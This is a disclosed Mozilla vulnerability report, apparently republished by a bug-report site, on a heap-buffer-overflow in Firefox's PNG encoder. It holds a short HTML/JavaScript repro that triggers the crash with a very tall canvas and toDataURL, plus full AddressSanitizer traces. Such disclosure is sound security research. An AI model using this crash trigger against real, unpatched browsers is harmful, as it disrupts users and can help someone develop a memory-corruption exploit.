Skip to content
Memory corruption Disclosed report

Heap-buffer-overflow in nsPNGEncoder::ConvertHostARGBRow

Atte Kettunen Follow

Originally disclosed on Mozilla

  • Fixed in 16 days
  • Paid in 5 months
  • Disclosed after 16 days

Tested on:

OS: Ubuntu 12.04

Firefox: ASAN opt-build from https://ftp.mozilla.org/pub/mozilla.org/firefox/tinderbox-builds/mozilla-central-linux64-asan-debug/1383633938/

Repro-file:

<script type="text/javascript"> function run() { var cx = canvas.getContext("2d"); canvas.toDataURL("image/png") } </script> <body onload="run()"> <canvas width="1" height="65536" id="canvas"></canvas>

With fast look I found out that the value of the canvas-element height attribute affects the crash. When set into any value between 33000-65536 FF will crash. When set into any value below 32000 crashing stops. I didn't dig into values above 65536 and into the specific value between 32000 and 33000.

ASAN-report:

==8970==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020002a5574 at pc 0x7f09e1192d11 bp 0x7fff737f5460 sp 0x7fff737f5458 READ of size 4 at 0x6020002a5574 thread T0 #0 0x7f09e1192d10 in nsPNGEncoder::ConvertHostARGBRow(unsigned char const*, unsigned char*, unsigned int, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/png/nsPNGEncoder.cpp:599:0 #1 0x7f09e1191898 in nsPNGEncoder::AddImageFrame(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/png/nsPNGEncoder.cpp:267:0 #2 0x7f09e1190999 in nsPNGEncoder::InitFromData(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/png/nsPNGEncoder.cpp:62:0 #3 0x7f09e1d904c4 in mozilla::dom::ImageEncoder::GetInputStream(int, int, unsigned char*, int, imgIEncoder*, char16_t const*, nsIInputStream**) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:242:0 #4 0x7f09e1d62717 in mozilla::dom::CanvasRenderingContext2D::GetInputStream(char const*, char16_t const*, nsIInputStream**) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/CanvasRenderingContext2D.cpp:1102:0 #5 0x7f09e1d8fb51 in mozilla::dom::ImageEncoder::ExtractDataInternal(nsAString_internal const&, nsAString_internal const&, unsigned char*, int, nsIntSize, nsICanvasRenderingContextInternal*, nsIInputStream**, imgIEncoder*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:279:0 #6 0x7f09e1d8ed40 in mozilla::dom::ImageEncoder::ExtractData(nsAString_internal&, nsAString_internal const&, nsIntSize, nsICanvasRenderingContextInternal*, nsIInputStream**) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:194:0 #7 0x7f09e1f12e4a in operator class nsIInputStream ** /builds/slave/m-cen-l64-asan-000000000000000/build/content/html/content/src/HTMLCanvasElement.cpp:393:0 #8 0x7f09e1f12e4a in mozilla::dom::HTMLCanvasElement::ToDataURLImpl(JSContext*, nsAString_internal const&, JS::Value const&, nsAString_internal&) /builds/slave/m-cen-l64-asan-000000000000000/build/content/html/content/src/HTMLCanvasElement.cpp:465:0 #9 0x7f09e44fedc7 in operator class nsString & /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/bindings/../../dist/include/mozilla/dom/HTMLCanvasElement.h:92:0 #10 0x7f09e44fedc7 in mozilla::dom::HTMLCanvasElementBinding::toDataURL(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLCanvasElement*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/bindings/./HTMLCanvasElementBinding.cpp:251:0 #11 0x7f09e44fd0ea in mozilla::dom::HTMLCanvasElementBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/bindings/./HTMLCanvasElementBinding.cpp:605:0 #12 0x7f09e6c1c8c7 in native /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jscntxtinlines.h:220:0 #13 0x7f09e6c1c8c7 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:463:0 #14 0x7f09e6c1180b in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:2502:0 #15 0x7f09e6bf8a93 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:420:0 #16 0x7f09e6c1cb03 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:482:0 #17 0x7f09e6c1d878 in js::Invoke(JSContext*, JS::Value const&, JS::Value const&, unsigned int, JS::Value*, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:513:0 #18 0x7f09e69228f7 in JS_CallFunctionValue(JSContext*, JSObject*, JS::Value, unsigned int, JS::Value*, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jsapi.cpp:4906:0 #19 0x7f09e43b35cf in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JSObject*>, nsDOMEvent&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/bindings/./EventHandlerBinding.cpp:37:0 #20 0x7f09e26adf23 in Call<nsISupports > /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/src/events/../../../dist/include/mozilla/dom/EventHandlerBinding.h:59:0 #21 0x7f09e26adf23 in nsJSEventListener::HandleEvent(nsIDOMEvent) /builds/slave/m-cen-l64-asan-000000000000000/build/dom/src/events/nsJSEventListener.cpp:245:0 #22 0x7f09e1e97d72 in nsEventListenerManager::HandleEventSubType(nsListenerStruct*, mozilla::dom::CallbackObjectHolder<mozilla::dom::EventListener, nsIDOMEventListener> const&, nsIDOMEvent*, mozilla::dom::EventTarget*, nsCxPusher*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventListenerManager.cpp:955:0 #23 0x7f09e1e98b4f in nsEventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*, nsCxPusher*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventListenerManager.cpp:1029:0 #24 0x7f09e1e89a83 in CurrentTarget /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventListenerManager.h:325:0 #25 0x7f09e1e89a83 in nsEventTargetChainItem::HandleEvent(nsEventChainPostVisitor&, ELMCreationDetector&, nsCxPusher*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventDispatcher.cpp:195:0 #26 0x7f09e1e8895e in nsEventTargetChainItem::HandleEventTargetChain(nsTArray<nsEventTargetChainItem>&, nsEventChainPostVisitor&, nsDispatchingCallback*, ELMCreationDetector&, nsCxPusher*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventDispatcher.cpp:292:0 #27 0x7f09e1e8c9f4 in nsEventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, nsDispatchingCallback*, nsCOMArraymozilla::dom::EventTarget) /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventDispatcher.cpp:605:0 #28 0x7f09e131ce7b in nsDocumentViewer::LoadComplete(tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/layout/base/nsDocumentViewer.cpp:994:0 #29 0x7f09e5436dba in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/docshell/base/nsDocShell.cpp:6776:0 #30 0x7f09e5434049 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/docshell/base/nsDocShell.cpp:6573:0 #31 0x7f09e543458c in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/docshell/base/nsDocShell.cpp:6579:0 #32 0x7f09e548749f in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:1331:0 #33 0x7f09e54867f3 in nsDocLoader::doStopDocumentLoad(nsIRequest*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:865:0 #34 0x7f09e548448f in nsDocLoader::DocLoaderIsEmpty(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:755:0 #35 0x7f09e5485a08 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:639:0 #36 0x7f09e54862a9 in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/uriloader/base/nsDocLoader.cpp:642:0 #37 0x7f09e0a7ea59 in nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, tag_nsresult) /builds/slave/m-cen-l64-asan-000000000000000/build/netwerk/base/src/nsLoadGroup.cpp:688:0 #38 0x7f09e1b745e6 in nsDocument::DoUnblockOnload() /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:7988:0 #39 0x7f09e1b7429b in nsDocument::UnblockOnload(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:7916:0 #40 0x7f09e1b52f62 in nsDocument::DispatchContentLoadedEvents() /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsDocument.cpp:4702:0 #41 0x7f09e1b9767c in nsRunnableMethodImpl<void (nsDocument::)(), void, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/content/base/src/../../../dist/include/nsThreadUtils.h:382:0 #42 0x7f09e4f759f9 in nsThread::ProcessNextEvent(bool, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/threads/nsThread.cpp:622:0 #43 0x7f09e4ea4ac1 in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/glue/nsThreadUtils.cpp:251:0 #44 0x7f09e321628c in nsXULWindow::ShowModal() /builds/slave/m-cen-l64-asan-000000000000000/build/xpfe/appshell/src/nsXULWindow.cpp:365:0 #45 0x7f09e315932a in nsWindowWatcher::OpenWindowInternal(nsIDOMWindow*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:970:0 #46 0x7f09e3155198 in nsWindowWatcher::OpenWindow(nsIDOMWindow*, char const*, char const*, char const*, nsISupports*, nsIDOMWindow**) /builds/slave/m-cen-l64-asan-000000000000000/build/embedding/components/windowwatcher/src/nsWindowWatcher.cpp:344:0 #47 0x7f09e4fb8a01 in NS_InvokeByIndex /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_x86_64_unix.cpp:162:0 #48 0x7f09e30bc8d6 in Invoke /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2797:0 #49 0x7f09e30bc8d6 in CallMethodHelper /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2137:0 #50 0x7f09e30bc8d6 in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNative.cpp:2103:0 #51 0x7f09e30cdabb in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:1311:0 #52 0x7f09e6c1c8c7 in native /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jscntxtinlines.h:220:0 #53 0x7f09e6c1c8c7 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:463:0 #54 0x7f09e6c1180b in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:2502:0 #55 0x7f09e6bf8a93 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:420:0 #56 0x7f09e6c1cb03 in js::Invoke(JSContext*, JS::CallArgs, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:482:0 #57 0x7f09e6c1d878 in js::Invoke(JSContext*, JS::Value const&, JS::Value const&, unsigned int, JS::Value*, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:513:0 #58 0x7f09e69228f7 in JS_CallFunctionValue(JSContext*, JSObject*, JS::Value, unsigned int, JS::Value*, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jsapi.cpp:4906:0 #59 0x7f09e30a9948 in nsXPCWrappedJSClass::CallMethod(nsXPCWrappedJS*, unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJSClass.cpp:1423:0 #60 0x7f09e309d330 in nsXPCWrappedJS::CallMethod(unsigned short, XPTMethodDescriptor const*, nsXPTCMiniVariant*) /builds/slave/m-cen-l64-asan-000000000000000/build/js/xpconnect/src/XPCWrappedJS.cpp:591:0 #61 0x7f09e4fb9bea in PrepareAndDispatch /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:122:0 #62 0x7f09e4fb8c36 in SharedStub /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/reflect/xptcall/src/md/unix/xptcstubs_x86_64_linux.cpp:0 0x6020002a5574 is located 0 bytes to the right of 4-byte region [0x6020002a5570,0x6020002a5574) allocated by thread T0 here: #0 0x446395 in malloc asan_rtl:0 #1 0x7f09e1d61cef in operator new[] /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/content/canvas/src/../../../dist/include/mozilla/mozalloc.h:219:0 #2 0x7f09e1d61cef in mozilla::gfx::SurfaceToPackedBGRA(mozilla::gfx::SourceSurface*) /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/content/canvas/src/../../../dist/include/mozilla/gfx/DataSurfaceHelpers.h:49:0 #3 0x7f09e1d619a1 in mozilla::dom::CanvasRenderingContext2D::GetImageBuffer(unsigned char**, int*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/CanvasRenderingContext2D.cpp:1078:0 #4 0x7f09e1d62449 in mozilla::dom::CanvasRenderingContext2D::GetInputStream(char const*, char16_t const*, nsIInputStream**) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/CanvasRenderingContext2D.cpp:1089:0 #5 0x7f09e1d8fb51 in mozilla::dom::ImageEncoder::ExtractDataInternal(nsAString_internal const&, nsAString_internal const&, unsigned char*, int, nsIntSize, nsICanvasRenderingContextInternal*, nsIInputStream**, imgIEncoder*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:279:0 #6 0x7f09e1d8ed40 in mozilla::dom::ImageEncoder::ExtractData(nsAString_internal&, nsAString_internal const&, nsIntSize, nsICanvasRenderingContextInternal*, nsIInputStream**) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:194:0 Shadow bytes around the buggy address: 0x0c048004ca50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048004ca60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048004ca70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048004ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048004ca90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c048004caa0: fa fa fa fa fa fa 05 fa fa fa 04 fa fa fa[04]fa 0x0c048004cab0: fa fa fd fa fa fa 00 fa fa fa 00 00 fa fa 00 00 0x0c048004cac0: fa fa 00 06 fa fa 00 fa fa fa fd fd fa fa fd fa 0x0c048004cad0: fa fa 00 00 fa fa fd fa fa fa 00 00 fa fa fd fd 0x0c048004cae0: fa fa fd fa fa fa 00 00 fa fa fd fd fa fa 00 fa 0x0c048004caf0: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa 00 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 ASan internal: fe ==8970==ABORTING

It looks like the problem isn't in the png conversion because with 'canvas.toDataURL("image/png")' changed into 'canvas.toDataURL("image/bmp")' the crash changes into a

==9608==ERROR: AddressSanitizer: SEGV on unknown address 0x6020002c74ee (pc 0x7f390d58a3da sp 0x7ffffc26eb60 bp 0x000000008ca0 T0) AddressSanitizer can not provide additional info. #0 0x7f390d58a3d9 in nsBMPEncoder::ConvertHostARGBRow(unsigned char const*, unsigned char*, unsigned int) /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/bmp/nsBMPEncoder.cpp:435:0 #1 0x7f390d58801a in nsBMPEncoder::AddImageFrame(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/bmp/nsBMPEncoder.cpp:196:0 #2 0x7f390d5871a6 in nsBMPEncoder::InitFromData(unsigned char const*, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, nsAString_internal const&) /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/bmp/nsBMPEncoder.cpp:73:0 #3 0x7f390e1804c4 in mozilla::dom::ImageEncoder::GetInputStream(int, int, unsigned char*, int, imgIEncoder*, char16_t const*, nsIInputStream**) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:242:0 #4 0x7f390e152717 in mozilla::dom::CanvasRenderingContext2D::GetInputStream(char const*, char16_t const*, nsIInputStream**) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/CanvasRenderingContext2D.cpp:1102:0 #5 0x7f390e17fb51 in mozilla::dom::ImageEncoder::ExtractDataInternal(nsAString_internal const&, nsAString_internal const&, unsigned char*, int, nsIntSize, nsICanvasRenderingContextInternal*, nsIInputStream**, imgIEncoder*) /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:279:0 . . .

The original report as published on Mozilla's Bugzilla, by Atte Kettunen. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity memory corruption bug in Graphics: Canvas2D. Mozilla made it public on 21 November 2013.

About Memory corruption

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Atte Kettunen

View all

62 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.